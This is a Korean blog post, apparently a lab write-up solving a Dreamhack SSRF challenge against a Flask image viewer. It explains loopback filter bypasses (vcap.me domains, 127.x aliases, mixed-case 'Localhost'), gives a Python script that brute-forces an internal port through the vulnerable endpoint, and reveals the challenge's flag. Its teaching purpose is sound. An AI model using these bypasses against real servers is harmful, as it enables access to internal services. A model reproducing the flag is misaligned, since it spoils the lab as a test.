Dreamhack

SSRF 함께 실습

kchabin 2022. 8. 24. 16:58

FLASK로 작성된 image viewer 서비스

SSRF 취약점을 이용해 플래그를 획득하기

/app/flag.txt에 플래그가 존재함.

 

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

GET과 POST 요청 처리.

GET : img_viewer.html 렌더링

POST : 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링함.

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행함. 

http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler를 전달하면, 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성됨.

 

호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근하는 것은 불가능함.

 

취약점 분석

img_viewer는 이용자가 POST로 전달한 url에 HTTP 요청을 보내고, 응답을 반환함.

그런데 img_viewer는 서버 주소에 "127.0.0.1", "localhost"이 포함된 URL로의 접근을 막음.

이를 우회하면 SSRF를 통해 내부 HTTP 서버에 접근할 수 있음.

 

URL 필터링

URL에 포함된 문자열을 검사하여 부적절한 URL로의 접근을 막는 보호 기법.

 

- 블랙리스트 필터링

URL 포함 불가 문자열 블랙리스트 만들어서 이용자 접근 제어.

 

- 화이트리스트 필터링

접근을 허용할 URL로 화이트리스트를 만듦.

이용자가 화이트리스트 외의 URL에 접근하려하면 이를 차단함.

 

URL 필터링 우회

 

- 127.0.0.1과 매핑된 도메인 이름 사용

임의의 도메인 이름을 구매하여 127.0.0.1과 연결하고, 그 이름을 url로 사용함.

이미 127.0.0.1에 매핑된 "*.vcap.me"를 이용하는 방법도 있음.

 

- 127.0.0.1의 alias 이용

하나의 IP는 여러 방식으로 표기 가능함.

127.0.0.1 ~ 127.0.0.255 = 루프백 주소. 모두 로컬 호스트를 가리킴.

 

localhost의 alias 이용

URL에서 호스트와 스키마는 대소문자 구분하지 않음. 

따라서 "localhost"의 임의 문자를 대문자로 바꿔도 같은 호스트를 의미함.

 

Proot-of-Concept

 

위 URL을 image_viewer에 입력하면 문제 인덱스 페이지를 인코딩한 이미지가 반환됨.

로컬 호스트를 가리키면서, 필터링을 우회할 수 있는 URL임.

랜덤한 포트 찾기

내부 HTTP 서버는 포트 번호 1500~1800 인 임의 포트에서 실행됨.

위 url을 활용하여 파이썬 스크립트를 작성하면, 브루트포스로 포트를 찾을 수 있음.

아래는 포트 번호를 찾는 브루트포싱 코드임.

#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm

# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text
def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port

if __name__ == "__main__":
    chall_port = 18827
    chall_url = f"http
    ://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

http://Localhost:1674/flag.txt를 Image Viewer에 입력해준다.

나오는 이미지의 소스를 개발자도구로 확인한다. 

base64로 인코딩돼있는 것을 확인할 수 있다.

DH{43dd2189056475a7f3bd11456a17ad71}

'Dreamhack' 카테고리의 다른 글

파일 취약점 함께 실습  (0) 2022.08.24
File Vulnarability  (0) 2022.08.24
Command Injection  (0) 2022.08.19
암호학 - 해시  (0) 2022.08.12
No SQL Injection 실습  (0) 2022.08.11